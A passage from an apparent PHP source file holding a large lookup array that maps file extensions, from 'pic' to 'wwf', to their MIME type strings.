['application/x-php'], 'pic' => ['image/x-pict'], 'pict' => ['image/x-pict'], 'pict1' => ['image/x-pict'], 'pict2' => ['image/x-pict'], 'pk' => ['application/x-tex-pk'], 'pkg' => ['application/x-xar'], 'pki' => ['application/pkixcmp'], 'pkipath' => ['application/pkix-pkipath'], 'pkpass' => ['application/vnd.apple.pkpass'], 'pkr' => ['application/pgp-keys'], 'pl' => ['application/x-perl', 'text/x-perl'], 'pla' => ['audio/x-iriver-pla'], 'plb' => ['application/vnd.3gpp.pic-bw-large'], 'plc' => ['application/vnd.mobius.plc'], 'plf' => ['application/vnd.pocketlearn'], 'pln' => ['application/x-planperfect'], 'pls' => ['application/pls', 'application/pls+xml', 'audio/scpls', 'audio/x-scpls'], 'pm' => ['application/x-pagemaker', 'application/x-perl', 'text/x-perl'], 'pm6' => ['application/x-pagemaker'], 'pmd' => ['application/x-pagemaker'], 'pml' => ['application/vnd.ctc-posml'], 'png' => ['image/png'], 'pnm' => ['image/x-portable-anymap'], 'pntg' => ['image/x-macpaint'], 'po' => ['application/x-gettext', 'text/x-gettext-translation', 'text/x-po'], 'pod' => ['application/x-perl', 'text/x-perl'], 'por' => ['application/x-spss-por'], 'portpkg' => ['application/vnd.macports.portpkg'], 'pot' => ['application/mspowerpoint', 'application/powerpoint', 'application/vnd.ms-powerpoint', 'application/x-mspowerpoint', 'text/x-gettext-translation-template', 'text/x-pot'], 'potm' => ['application/vnd.ms-powerpoint.template.macroenabled.12'], 'potx' => ['application/vnd.openxmlformats-officedocument.presentationml.template'], 'ppam' => ['application/vnd.ms-powerpoint.addin.macroenabled.12'], 'ppd' => ['application/vnd.cups-ppd'], 'ppm' => ['image/x-portable-pixmap'], 'pps' => ['application/mspowerpoint', 'application/powerpoint', 'application/vnd.ms-powerpoint', 'application/x-mspowerpoint'], 'ppsm' => ['application/vnd.ms-powerpoint.slideshow.macroenabled.12'], 'ppsx' => ['application/vnd.openxmlformats-officedocument.presentationml.slideshow'], 'ppt' => ['application/vnd.ms-powerpoint', 'application/mspowerpoint', 'application/powerpoint', 'application/x-mspowerpoint'], 'pptm' => ['application/vnd.ms-powerpoint.presentation.macroenabled.12'], 'pptx' => ['application/vnd.openxmlformats-officedocument.presentationml.presentation'], 'ppz' => ['application/mspowerpoint', 'application/powerpoint', 'application/vnd.ms-powerpoint', 'application/x-mspowerpoint'], 'pqa' => ['application/vnd.palm', 'application/x-palm-database'], 'prc' => ['application/vnd.palm', 'application/x-mobipocket-ebook', 'application/x-palm-database', 'application/x-pilot'], 'pre' => ['application/vnd.lotus-freelance'], 'prf' => ['application/pics-rules'], 'provx' => ['application/provenance+xml'], 'ps' => ['application/postscript'], 'ps.bz2' => ['application/x-bzpostscript'], 'ps.gz' => ['application/x-gzpostscript'], 'psb' => ['application/vnd.3gpp.pic-bw-small'], 'psd' => ['application/photoshop', 'application/x-photoshop', 'image/photoshop', 'image/psd', 'image/vnd.adobe.photoshop', 'image/x-photoshop', 'image/x-psd'], 'psf' => ['application/x-font-linux-psf', 'audio/x-psf'], 'psf.gz' => ['application/x-gz-font-linux-psf'], 'psflib' => ['audio/x-psflib'], 'psid' => ['audio/prs.sid'], 'pskcxml' => ['application/pskc+xml'], 'psw' => ['application/x-pocket-word'], 'pti' => ['image/prs.pti'], 'ptid' => ['application/vnd.pvi.ptid1'], 'pub' => ['application/vnd.ms-publisher', 'application/x-mspublisher'], 'pvb' => ['application/vnd.3gpp.pic-bw-var'], 'pw' => ['application/x-pw'], 'pwn' => ['application/vnd.3m.post-it-notes'], 'py' => ['text/x-python', 'text/x-python3'], 'py3' => ['text/x-python3'], 'py3x' => ['text/x-python3'], 'pya' => ['audio/vnd.ms-playready.media.pya'], 'pyc' => ['application/x-python-bytecode'], 'pyi' => ['text/x-python3'], 'pyo' => ['application/x-python-bytecode'], 'pys' => ['application/x-pyspread-bz-spreadsheet'], 'pysu' => ['application/x-pyspread-spreadsheet'], 'pyv' => ['video/vnd.ms-playready.media.pyv'], 'pyx' => ['text/x-python'], 'qam' => ['application/vnd.epson.quickanime'], 'qbo' => ['application/vnd.intu.qbo'], 'qcow' => ['application/x-qemu-disk'], 'qcow2' => ['application/x-qemu-disk'], 'qd' => ['application/x-fd-file', 'application/x-raw-floppy-disk-image'], 'qed' => ['application/x-qed-disk'], 'qfx' => ['application/vnd.intu.qfx'], 'qif' => ['application/x-qw', 'image/x-quicktime'], 'qml' => ['text/x-qml'], 'qmlproject' => ['text/x-qml'], 'qmltypes' => ['text/x-qml'], 'qp' => ['application/x-qpress'], 'qps' => ['application/vnd.publishare-delta-tree'], 'qt' => ['video/quicktime'], 'qti' => ['application/x-qtiplot'], 'qti.gz' => ['application/x-qtiplot'], 'qtif' => ['image/x-quicktime'], 'qtl' => ['application/x-quicktime-media-link', 'application/x-quicktimeplayer'], 'qtvr' => ['video/quicktime'], 'qwd' => ['application/vnd.quark.quarkxpress'], 'qwt' => ['application/vnd.quark.quarkxpress'], 'qxb' => ['application/vnd.quark.quarkxpress'], 'qxd' => ['application/vnd.quark.quarkxpress'], 'qxl' => ['application/vnd.quark.quarkxpress'], 'qxt' => ['application/vnd.quark.quarkxpress'], 'ra' => ['audio/vnd.m-realaudio', 'audio/vnd.rn-realaudio', 'audio/x-pn-realaudio', 'audio/x-realaudio'], 'raf' => ['image/x-fuji-raf'], 'ram' => ['application/ram', 'audio/x-pn-realaudio'], 'raml' => ['application/raml+yaml'], 'rapd' => ['application/route-apd+xml'], 'rar' => ['application/x-rar-compressed', 'application/vnd.rar', 'application/x-rar'], 'ras' => ['image/x-cmu-raster'], 'raw' => ['image/x-panasonic-raw', 'image/x-panasonic-rw'], 'raw-disk-image' => ['application/x-raw-disk-image'], 'raw-disk-image.xz' => ['application/x-raw-disk-image-xz-compressed'], 'rax' => ['audio/vnd.m-realaudio', 'audio/vnd.rn-realaudio', 'audio/x-pn-realaudio'], 'rb' => ['application/x-ruby'], 'rcprofile' => ['application/vnd.ipunplugged.rcprofile'], 'rdf' => ['application/rdf+xml', 'text/rdf'], 'rdfs' => ['application/rdf+xml', 'text/rdf'], 'rdz' => ['application/vnd.data-vision.rdz'], 'reg' => ['text/x-ms-regedit'], 'rej' => ['application/x-reject', 'text/x-reject'], 'relo' => ['application/p2p-overlay+xml'], 'rep' => ['application/vnd.businessobjects'], 'res' => ['application/x-dtbresource+xml'], 'rgb' => ['image/x-rgb'], 'rif' => ['application/reginfo+xml'], 'rip' => ['audio/vnd.rip'], 'ris' => ['application/x-research-info-systems'], 'rl' => ['application/resource-lists+xml'], 'rlc' => ['image/vnd.fujixerox.edmics-rlc'], 'rld' => ['application/resource-lists-diff+xml'], 'rle' => ['image/rle'], 'rm' => ['application/vnd.rn-realmedia', 'application/vnd.rn-realmedia-vbr'], 'rmi' => ['audio/midi'], 'rmj' => ['application/vnd.rn-realmedia', 'application/vnd.rn-realmedia-vbr'], 'rmm' => ['application/vnd.rn-realmedia', 'application/vnd.rn-realmedia-vbr'], 'rmp' => ['audio/x-pn-realaudio-plugin'], 'rms' => ['application/vnd.jcp.javame.midlet-rms', 'application/vnd.rn-realmedia', 'application/vnd.rn-realmedia-vbr'], 'rmvb' => ['application/vnd.rn-realmedia', 'application/vnd.rn-realmedia-vbr'], 'rmx' => ['application/vnd.rn-realmedia', 'application/vnd.rn-realmedia-vbr'], 'rnc' => ['application/relax-ng-compact-syntax', 'application/x-rnc'], 'rng' => ['application/xml', 'text/xml'], 'roa' => ['application/rpki-roa'], 'roff' => ['application/x-troff', 'text/troff', 'text/x-troff'], 'ros' => ['text/x-common-lisp'], 'rp' => ['image/vnd.rn-realpix'], 'rp9' => ['application/vnd.cloanto.rp9'], 'rpm' => ['application/x-redhat-package-manager', 'application/x-rpm'], 'rpss' => ['application/vnd.nokia.radio-presets'], 'rpst' => ['application/vnd.nokia.radio-preset'], 'rq' => ['application/sparql-query'], 'rs' => ['application/rls-services+xml', 'text/rust'], 'rsat' => ['application/atsc-rsat+xml'], 'rsd' => ['application/rsd+xml'], 'rsheet' => ['application/urc-ressheet+xml'], 'rss' => ['application/rss+xml', 'text/rss'], 'rst' => ['text/x-rst'], 'rt' => ['text/vnd.rn-realtext'], 'rtf' => ['application/rtf', 'text/rtf'], 'rtx' => ['text/richtext'], 'run' => ['application/x-makeself'], 'rusd' => ['application/route-usd+xml'], 'rv' => ['video/vnd.rn-realvideo', 'video/x-real-video'], 'rvx' => ['video/vnd.rn-realvideo', 'video/x-real-video'], 'rw2' => ['image/x-panasonic-raw2', 'image/x-panasonic-rw2'], 's' => ['text/x-asm'], 's3m' => ['audio/s3m', 'audio/x-s3m'], 'saf' => ['application/vnd.yamaha.smaf-audio'], 'sage' => ['text/x-sagemath'], 'sam' => ['application/x-amipro'], 'sami' => ['application/x-sami'], 'sap' => ['application/x-sap-file', 'application/x-thomson-sap-image'], 'sass' => ['text/x-sass'], 'sav' => ['application/x-spss-sav', 'application/x-spss-savefile'], 'sbml' => ['application/sbml+xml'], 'sc' => ['application/vnd.ibm.secure-container', 'text/x-scala'], 'scala' => ['text/x-scala'], 'scd' => ['application/x-msschedule'], 'scm' => ['application/vnd.lotus-screencam', 'text/x-scheme'], 'scope' => ['text/x-systemd-unit'], 'scq' => ['application/scvp-cv-request'], 'scs' => ['application/scvp-cv-response'], 'scss' => ['text/x-scss'], 'scurl' => ['text/vnd.curl.scurl'], 'sda' => ['application/vnd.stardivision.draw'], 'sdc' => ['application/vnd.stardivision.calc'], 'sdd' => ['application/vnd.stardivision.impress'], 'sdkd' => ['application/vnd.solent.sdkm+xml'], 'sdkm' => ['application/vnd.solent.sdkm+xml'], 'sdp' => ['application/sdp', 'application/vnd.sdp', 'application/vnd.stardivision.impress', 'application/x-sdp'], 'sds' => ['application/vnd.stardivision.chart'], 'sdw' => ['application/vnd.stardivision.writer', 'application/vnd.stardivision.writer-global'], 'sea' => ['application/x-sea'], 'see' => ['application/vnd.seemail'], 'seed' => ['application/vnd.fdsn.seed'], 'sema' => ['application/vnd.sema'], 'semd' => ['application/vnd.semd'], 'semf' => ['application/vnd.semf'], 'senmlx' => ['application/senml+xml'], 'sensmlx' => ['application/sensml+xml'], 'ser' => ['application/java-serialized-object'], 'service' => ['text/x-dbus-service', 'text/x-systemd-unit'], 'setpay' => ['application/set-payment-initiation'], 'setreg' => ['application/set-registration-initiation'], 'sfc' => ['application/vnd.nintendo.snes.rom', 'application/x-snes-rom'], 'sfd-hdstx' => ['application/vnd.hydrostatix.sof-data'], 'sfs' => ['application/vnd.spotfire.sfs'], 'sfv' => ['text/x-sfv'], 'sg' => ['application/x-sg1000-rom'], 'sgb' => ['application/x-gameboy-rom'], 'sgd' => ['application/x-genesis-rom'], 'sgf' => ['application/x-go-sgf'], 'sgi' => ['image/sgi', 'image/x-sgi'], 'sgl' => ['application/vnd.stardivision.writer', 'application/vnd.stardivision.writer-global'], 'sgm' => ['text/sgml'], 'sgml' => ['text/sgml'], 'sh' => ['application/x-sh', 'application/x-shellscript', 'text/x-sh'], 'shape' => ['application/x-dia-shape'], 'shar' => ['application/x-shar'], 'shex' => ['text/shex'], 'shf' => ['application/shf+xml'], 'shn' => ['application/x-shorten', 'audio/x-shorten'], 'shtml' => ['text/html'], 'siag' => ['application/x-siag'], 'sid' => ['audio/prs.sid', 'image/x-mrsid-image'], 'sieve' => ['application/sieve'], 'sig' => ['application/pgp-signature'], 'sik' => ['application/x-trash'], 'sil' => ['audio/silk'], 'silo' => ['model/mesh'], 'sis' => ['application/vnd.symbian.install'], 'sisx' => ['application/vnd.symbian.install', 'x-epoc/x-sisx-app'], 'sit' => ['application/x-stuffit', 'application/stuffit', 'application/x-sit'], 'sitx' => ['application/x-stuffitx'], 'siv' => ['application/sieve'], 'sk' => ['image/x-skencil'], 'sk1' => ['image/x-skencil'], 'skd' => ['application/vnd.koan'], 'skm' => ['application/vnd.koan'], 'skp' => ['application/vnd.koan'], 'skr' => ['application/pgp-keys'], 'skt' => ['application/vnd.koan'], 'sldm' => ['application/vnd.ms-powerpoint.slide.macroenabled.12'], 'sldx' => ['application/vnd.openxmlformats-officedocument.presentationml.slide'], 'slice' => ['text/x-systemd-unit'], 'slim' => ['text/slim'], 'slk' => ['text/spreadsheet'], 'slm' => ['text/slim'], 'sls' => ['application/route-s-tsid+xml'], 'slt' => ['application/vnd.epson.salt'], 'sm' => ['application/vnd.stepmania.stepchart'], 'smaf' => ['application/vnd.smaf', 'application/x-smaf'], 'smc' => ['application/vnd.nintendo.snes.rom', 'application/x-snes-rom'], 'smd' => ['application/vnd.stardivision.mail', 'application/x-genesis-rom'], 'smf' => ['application/vnd.stardivision.math'], 'smi' => ['application/smil', 'application/smil+xml', 'application/x-sami'], 'smil' => ['application/smil', 'application/smil+xml'], 'smk' => ['video/vnd.radgamettools.smacker'], 'sml' => ['application/smil', 'application/smil+xml'], 'sms' => ['application/x-sms-rom'], 'smv' => ['video/x-smv'], 'smzip' => ['application/vnd.stepmania.package'], 'snap' => ['application/vnd.snap'], 'snd' => ['audio/basic'], 'snf' => ['application/x-font-snf'], 'so' => ['application/x-sharedlib'], 'socket' => ['text/x-systemd-unit'], 'spc' => ['application/x-pkcs7-certificates'], 'spd' => ['application/x-font-speedo'], 'spdx' => ['text/spdx'], 'spec' => ['text/x-rpm-spec'], 'spf' => ['application/vnd.yamaha.smaf-phrase'], 'spl' => ['application/futuresplash', 'application/vnd.adobe.flash.movie', 'application/x-futuresplash', 'application/x-shockwave-flash'], 'spm' => ['application/x-source-rpm'], 'spot' => ['text/vnd.in3d.spot'], 'spp' => ['application/scvp-vp-response'], 'spq' => ['application/scvp-vp-request'], 'spx' => ['application/x-apple-systemprofiler+xml', 'audio/ogg', 'audio/x-speex', 'audio/x-speex+ogg'], 'sql' => ['application/sql', 'application/x-sql', 'text/x-sql'], 'sqlite2' => ['application/x-sqlite2'], 'sqlite3' => ['application/vnd.sqlite3', 'application/x-sqlite3'], 'sqsh' => ['application/vnd.squashfs'], 'sr2' => ['image/x-sony-sr2'], 'src' => ['application/x-wais-source'], 'src.rpm' => ['application/x-source-rpm'], 'srf' => ['image/x-sony-srf'], 'srt' => ['application/x-srt', 'application/x-subrip'], 'sru' => ['application/sru+xml'], 'srx' => ['application/sparql-results+xml'], 'ss' => ['text/x-scheme'], 'ssa' => ['text/x-ssa'], 'ssdl' => ['application/ssdl+xml'], 'sse' => ['application/vnd.kodak-descriptor'], 'ssf' => ['application/vnd.epson.ssf'], 'ssml' => ['application/ssml+xml'], 'st' => ['application/vnd.sailingtracker.track'], 'stc' => ['application/vnd.sun.xml.calc.template'], 'std' => ['application/vnd.sun.xml.draw.template'], 'stf' => ['application/vnd.wt.stf'], 'sti' => ['application/vnd.sun.xml.impress.template'], 'stk' => ['application/hyperstudio'], 'stl' => ['application/vnd.ms-pki.stl', 'model/stl', 'model/x.stl-ascii', 'model/x.stl-binary'], 'stm' => ['audio/x-stm'], 'stpxz' => ['model/step-xml+zip'], 'stpz' => ['model/step+zip'], 'str' => ['application/vnd.pg.format'], 'stw' => ['application/vnd.sun.xml.writer.template'], 'sty' => ['application/x-tex', 'text/x-tex'], 'styl' => ['text/stylus'], 'stylus' => ['text/stylus'], 'sub' => ['image/vnd.dvb.subtitle', 'text/vnd.dvb.subtitle', 'text/x-microdvd', 'text/x-mpsub', 'text/x-subviewer'], 'sun' => ['image/x-sun-raster'], 'sus' => ['application/vnd.sus-calendar'], 'susp' => ['application/vnd.sus-calendar'], 'sv' => ['text/x-svsrc'], 'sv4cpio' => ['application/x-sv4cpio'], 'sv4crc' => ['application/x-sv4crc'], 'svc' => ['application/vnd.dvb.service'], 'svd' => ['application/vnd.svd'], 'svg' => ['image/svg+xml', 'image/svg'], 'svgz' => ['image/svg+xml', 'image/svg+xml-compressed'], 'svh' => ['text/x-svhdr'], 'swa' => ['application/x-director'], 'swap' => ['text/x-systemd-unit'], 'swf' => ['application/futuresplash', 'application/vnd.adobe.flash.movie', 'application/x-shockwave-flash'], 'swi' => ['application/vnd.aristanetworks.swi'], 'swidtag' => ['application/swid+xml'], 'swm' => ['application/x-ms-wim'], 'sxc' => ['application/vnd.sun.xml.calc'], 'sxd' => ['application/vnd.sun.xml.draw'], 'sxg' => ['application/vnd.sun.xml.writer.global'], 'sxi' => ['application/vnd.sun.xml.impress'], 'sxm' => ['application/vnd.sun.xml.math'], 'sxw' => ['application/vnd.sun.xml.writer'], 'sylk' => ['text/spreadsheet'], 't' => ['application/x-perl', 'application/x-troff', 'text/troff', 'text/x-perl', 'text/x-troff'], 't2t' => ['text/x-txt2tags'], 't3' => ['application/x-t3vm-image'], 't38' => ['image/t38'], 'taglet' => ['application/vnd.mynfc'], 'tao' => ['application/vnd.tao.intent-module-archive'], 'tap' => ['image/vnd.tencent.tap'], 'tar' => ['application/x-tar', 'application/x-gtar'], 'tar.Z' => ['application/x-tarz'], 'tar.bz' => ['application/x-bzip-compressed-tar'], 'tar.bz2' => ['application/x-bzip-compressed-tar'], 'tar.gz' => ['application/x-compressed-tar'], 'tar.lrz' => ['application/x-lrzip-compressed-tar'], 'tar.lz' => ['application/x-lzip-compressed-tar'], 'tar.lz4' => ['application/x-lz4-compressed-tar'], 'tar.lzma' => ['application/x-lzma-compressed-tar'], 'tar.lzo' => ['application/x-tzo'], 'tar.xz' => ['application/x-xz-compressed-tar'], 'tar.zst' => ['application/x-zstd-compressed-tar'], 'target' => ['text/x-systemd-unit'], 'taz' => ['application/x-tarz'], 'tb2' => ['application/x-bzip-compressed-tar'], 'tbz' => ['application/x-bzip-compressed-tar'], 'tbz2' => ['application/x-bzip-compressed-tar'], 'tcap' => ['application/vnd.3gpp2.tcap'], 'tcl' => ['application/x-tcl', 'text/tcl', 'text/x-tcl'], 'td' => ['application/urc-targetdesc+xml'], 'teacher' => ['application/vnd.smart.teacher'], 'tei' => ['application/tei+xml'], 'teicorpus' => ['application/tei+xml'], 'tex' => ['application/x-tex', 'text/x-tex'], 'texi' => ['application/x-texinfo', 'text/x-texinfo'], 'texinfo' => ['application/x-texinfo', 'text/x-texinfo'], 'text' => ['text/plain'], 'tfi' => ['application/thraud+xml'], 'tfm' => ['application/x-tex-tfm'], 'tfx' => ['image/tiff-fx'], 'tga' => ['application/tga', 'application/x-targa', 'application/x-tga', 'image/targa', 'image/tga', 'image/x-icb', 'image/x-targa', 'image/x-tga'], 'tgz' => ['application/x-compressed-tar'], 'theme' => ['application/x-theme'], 'themepack' => ['application/x-windows-themepack'], 'thmx' => ['application/vnd.ms-officetheme'], 'tif' => ['image/tiff'], 'tiff' => ['image/tiff'], 'timer' => ['text/x-systemd-unit'], 'tk' => ['application/x-tcl', 'text/tcl', 'text/x-tcl'], 'tlrz' => ['application/x-lrzip-compressed-tar'], 'tlz' => ['application/x-lzma-compressed-tar'], 'tmo' => ['application/vnd.tmobile-livetv'], 'tnef' => ['application/ms-tnef', 'application/vnd.ms-tnef'], 'tnf' => ['application/ms-tnef', 'application/vnd.ms-tnef'], 'toc' => ['application/x-cdrdao-toc'], 'toml' => ['application/toml'], 'torrent' => ['application/x-bittorrent'], 'tpic' => ['application/tga', 'application/x-targa', 'application/x-tga', 'image/targa', 'image/tga', 'image/x-icb', 'image/x-targa', 'image/x-tga'], 'tpl' => ['application/vnd.groove-tool-template'], 'tpt' => ['application/vnd.trid.tpt'], 'tr' => ['application/x-troff', 'text/troff', 'text/x-troff'], 'tra' => ['application/vnd.trueapp'], 'trig' => ['application/trig', 'application/x-trig'], 'trm' => ['application/x-msterminal'], 'ts' => ['application/x-linguist', 'text/vnd.qt.linguist', 'text/vnd.trolltech.linguist', 'video/mp2t'], 'tsd' => ['application/timestamped-data'], 'tsv' => ['text/tab-separated-values'], 'tta' => ['audio/tta', 'audio/x-tta'], 'ttc' => ['font/collection'], 'ttf' => ['application/x-font-truetype', 'application/x-font-ttf', 'font/ttf'], 'ttl' => ['text/turtle'], 'ttml' => ['application/ttml+xml'], 'ttx' => ['application/x-font-ttx'], 'twd' => ['application/vnd.simtech-mindmapper'], 'twds' => ['application/vnd.simtech-mindmapper'], 'twig' => ['text/x-twig'], 'txd' => ['application/vnd.genomatix.tuxedo'], 'txf' => ['application/vnd.mobius.txf'], 'txt' => ['text/plain'], 'txz' => ['application/x-xz-compressed-tar'], 'tzo' => ['application/x-tzo'], 'tzst' => ['application/x-zstd-compressed-tar'], 'u32' => ['application/x-authorware-bin'], 'u8dsn' => ['message/global-delivery-status'], 'u8hdr' => ['message/global-headers'], 'u8mdn' => ['message/global-disposition-notification'], 'u8msg' => ['message/global'], 'ubj' => ['application/ubjson'], 'udeb' => ['application/vnd.debian.binary-package', 'application/x-deb', 'application/x-debian-package'], 'ufd' => ['application/vnd.ufdl'], 'ufdl' => ['application/vnd.ufdl'], 'ufraw' => ['application/x-ufraw'], 'ui' => ['application/x-designer', 'application/x-gtk-builder'], 'uil' => ['text/x-uil'], 'ult' => ['audio/x-mod'], 'ulx' => ['application/x-glulx'], 'umj' => ['application/vnd.umajin'], 'unf' => ['application/x-nes-rom'], 'uni' => ['audio/x-mod'], 'unif' => ['application/x-nes-rom'], 'unityweb' => ['application/vnd.unity'], 'uoml' => ['application/vnd.uoml+xml'], 'uri' => ['text/uri-list'], 'uris' => ['text/uri-list'], 'url' => ['application/x-mswinurl'], 'urls' => ['text/uri-list'], 'usdz' => ['model/vnd.usdz+zip'], 'ustar' => ['application/x-ustar'], 'utz' => ['application/vnd.uiq.theme'], 'uu' => ['text/x-uuencode'], 'uue' => ['text/x-uuencode', 'zz-application/zz-winassoc-uu'], 'uva' => ['audio/vnd.dece.audio'], 'uvd' => ['application/vnd.dece.data'], 'uvf' => ['application/vnd.dece.data'], 'uvg' => ['image/vnd.dece.graphic'], 'uvh' => ['video/vnd.dece.hd'], 'uvi' => ['image/vnd.dece.graphic'], 'uvm' => ['video/vnd.dece.mobile'], 'uvp' => ['video/vnd.dece.pd'], 'uvs' => ['video/vnd.dece.sd'], 'uvt' => ['application/vnd.dece.ttml+xml'], 'uvu' => ['video/vnd.uvvu.mp4'], 'uvv' => ['video/vnd.dece.video'], 'uvva' => ['audio/vnd.dece.audio'], 'uvvd' => ['application/vnd.dece.data'], 'uvvf' => ['application/vnd.dece.data'], 'uvvg' => ['image/vnd.dece.graphic'], 'uvvh' => ['video/vnd.dece.hd'], 'uvvi' => ['image/vnd.dece.graphic'], 'uvvm' => ['video/vnd.dece.mobile'], 'uvvp' => ['video/vnd.dece.pd'], 'uvvs' => ['video/vnd.dece.sd'], 'uvvt' => ['application/vnd.dece.ttml+xml'], 'uvvu' => ['video/vnd.uvvu.mp4'], 'uvvv' => ['video/vnd.dece.video'], 'uvvx' => ['application/vnd.dece.unspecified'], 'uvvz' => ['application/vnd.dece.zip'], 'uvx' => ['application/vnd.dece.unspecified'], 'uvz' => ['application/vnd.dece.zip'], 'v' => ['text/x-verilog'], 'v64' => ['application/x-n64-rom'], 'vala' => ['text/x-vala'], 'vapi' => ['text/x-vala'], 'vb' => ['application/x-virtual-boy-rom'], 'vbox' => ['application/x-virtualbox-vbox'], 'vbox-extpack' => ['application/x-virtualbox-vbox-extpack'], 'vbs' => ['text/vbs', 'text/vbscript'], 'vcard' => ['text/directory', 'text/vcard', 'text/x-vcard'], 'vcd' => ['application/x-cdlink'], 'vcf' => ['text/x-vcard', 'text/directory', 'text/vcard'], 'vcg' => ['application/vnd.groove-vcard'], 'vcs' => ['application/ics', 'text/calendar', 'text/x-vcalendar'], 'vct' => ['text/directory', 'text/vcard', 'text/x-vcard'], 'vcx' => ['application/vnd.vcx'], 'vda' => ['application/tga', 'application/x-targa', 'application/x-tga', 'image/targa', 'image/tga', 'image/x-icb', 'image/x-targa', 'image/x-tga'], 'vdi' => ['application/x-vdi-disk', 'application/x-virtualbox-vdi'], 'vds' => ['model/vnd.sap.vds'], 'vhd' => ['application/x-vhd-disk', 'application/x-virtualbox-vhd', 'text/x-vhdl'], 'vhdl' => ['text/x-vhdl'], 'vhdx' => ['application/x-vhdx-disk', 'application/x-virtualbox-vhdx'], 'vis' => ['application/vnd.visionary'], 'viv' => ['video/vivo', 'video/vnd.vivo'], 'vivo' => ['video/vivo', 'video/vnd.vivo'], 'vlc' => ['application/m3u', 'audio/m3u', 'audio/mpegurl', 'audio/x-m3u', 'audio/x-mp3-playlist', 'audio/x-mpegurl'], 'vmdk' => ['application/x-virtualbox-vmdk', 'application/x-vmdk-disk'], 'vob' => ['video/mpeg', 'video/mpeg-system', 'video/x-mpeg', 'video/x-mpeg-system', 'video/x-mpeg2', 'video/x-ms-vob'], 'voc' => ['audio/x-voc'], 'vor' => ['application/vnd.stardivision.writer', 'application/vnd.stardivision.writer-global'], 'vox' => ['application/x-authorware-bin'], 'vpc' => ['application/x-vhd-disk', 'application/x-virtualbox-vhd'], 'vrm' => ['model/vrml'], 'vrml' => ['model/vrml'], 'vsd' => ['application/vnd.visio'], 'vsdm' => ['application/vnd.ms-visio.drawing.macroenabled.main+xml'], 'vsdx' => ['application/vnd.ms-visio.drawing.main+xml'], 'vsf' => ['application/vnd.vsf'], 'vss' => ['application/vnd.visio'], 'vssm' => ['application/vnd.ms-visio.stencil.macroenabled.main+xml'], 'vssx' => ['application/vnd.ms-visio.stencil.main+xml'], 'vst' => ['application/tga', 'application/vnd.visio', 'application/x-targa', 'application/x-tga', 'image/targa', 'image/tga', 'image/x-icb', 'image/x-targa', 'image/x-tga'], 'vstm' => ['application/vnd.ms-visio.template.macroenabled.main+xml'], 'vstx' => ['application/vnd.ms-visio.template.main+xml'], 'vsw' => ['application/vnd.visio'], 'vtf' => ['image/vnd.valve.source.texture'], 'vtt' => ['text/vtt'], 'vtu' => ['model/vnd.vtu'], 'vxml' => ['application/voicexml+xml'], 'w3d' => ['application/x-director'], 'wad' => ['application/x-doom', 'application/x-doom-wad', 'application/x-wii-wad'], 'wadl' => ['application/vnd.sun.wadl+xml'], 'war' => ['application/java-archive'], 'wasm' => ['application/wasm'], 'wav' => ['audio/wav', 'audio/vnd.wave', 'audio/wave', 'audio/x-wav'], 'wax' => ['application/x-ms-asx', 'audio/x-ms-asx', 'audio/x-ms-wax', 'video/x-ms-wax', 'video/x-ms-wmx', 'video/x-ms-wvx'], 'wb1' => ['application/x-quattropro'], 'wb2' => ['application/x-quattropro'], 'wb3' => ['application/x-quattropro'], 'wbmp' => ['image/vnd.wap.wbmp'], 'wbs' => ['application/vnd.criticaltools.wbs+xml'], 'wbxml' => ['application/vnd.wap.wbxml'], 'wcm' => ['application/vnd.ms-works'], 'wdb' => ['application/vnd.ms-works'], 'wdp' => ['image/vnd.ms-photo'], 'weba' => ['audio/webm'], 'webapp' => ['application/x-web-app-manifest+json'], 'webm' => ['video/webm'], 'webmanifest' => ['application/manifest+json'], 'webp' => ['image/webp'], 'wg' => ['application/vnd.pmi.widget'], 'wgt' => ['application/widget'], 'wim' => ['application/x-ms-wim'], 'wk1' => ['application/lotus123', 'application/vnd.lotus-1-2-3', 'application/wk1', 'application/x-123', 'application/x-lotus123', 'zz-application/zz-winassoc-123'], 'wk3' => ['application/lotus123', 'application/vnd.lotus-1-2-3', 'application/wk1', 'application/x-123', 'application/x-lotus123', 'zz-application/zz-winassoc-123'], 'wk4' => ['application/lotus123', 'application/vnd.lotus-1-2-3', 'application/wk1', 'application/x-123', 'application/x-lotus123', 'zz-application/zz-winassoc-123'], 'wkdownload' => ['application/x-partial-download'], 'wks' => ['application/lotus123', 'application/vnd.lotus-1-2-3', 'application/vnd.ms-works', 'application/wk1', 'application/x-123', 'application/x-lotus123', 'zz-application/zz-winassoc-123'], 'wm' => ['video/x-ms-wm'], 'wma' => ['audio/x-ms-wma', 'audio/wma'], 'wmd' => ['application/x-ms-wmd'], 'wmf' => ['application/wmf', 'application/x-msmetafile', 'application/x-wmf', 'image/wmf', 'image/x-win-metafile', 'image/x-wmf'], 'wml' => ['text/vnd.wap.wml'], 'wmlc' => ['application/vnd.wap.wmlc'], 'wmls' => ['text/vnd.wap.wmlscript'], 'wmlsc' => ['application/vnd.wap.wmlscriptc'], 'wmv' => ['audio/x-ms-wmv', 'video/x-ms-wmv'], 'wmx' => ['application/x-ms-asx', 'audio/x-ms-asx', 'video/x-ms-wax', 'video/x-ms-wmx', 'video/x-ms-wvx'], 'wmz' => ['application/x-ms-wmz', 'application/x-msmetafile'], 'woff' => ['application/font-woff', 'application/x-font-woff', 'font/woff'], 'woff2' => ['font/woff2'], 'wp' => ['application/vnd.wordperfect', 'application/wordperfect', 'application/x-wordperfect'], 'wp4' => ['application/vnd.wordperfect', 'application/wordperfect', 'application/x-wordperfect'], 'wp5' => ['application/vnd.wordperfect', 'application/wordperfect', 'application/x-wordperfect'], 'wp6' => ['application/vnd.wordperfect', 'application/wordperfect', 'application/x-wordperfect'], 'wpd' => ['application/vnd.wordperfect', 'application/wordperfect', 'application/x-wordperfect'], 'wpg' => ['application/x-wpg'], 'wpl' => ['application/vnd.ms-wpl'], 'wpp' => ['application/vnd.wordperfect', 'application/wordperfect', 'application/x-wordperfect'], 'wps' => ['application/vnd.ms-works'], 'wqd' => ['application/vnd.wqd'], 'wri' => ['application/x-mswrite'], 'wrl' => ['model/vrml'], 'ws' => ['application/x-wonderswan-rom'], 'wsc' => ['application/x-wonderswan-color-rom', 'message/vnd.wfa.wsc'], 'wsdl' => ['application/wsdl+xml'], 'wsgi' => ['text/x-python'], 'wspolicy' => ['application/wspolicy+xml'], 'wtb' => ['application/vnd.webturbo'], 'wv' => ['audio/x-wavpack'], 'wvc' => ['audio/x-wavpack-correction'], 'wvp' => ['audio/x-wavpack'], 'wvx' => ['application/x-ms-asx', 'audio/x-ms-asx', 'video/x-ms-wax', 'video/x-ms-wmx', 'video/x-ms-wvx'], 'wwf' => 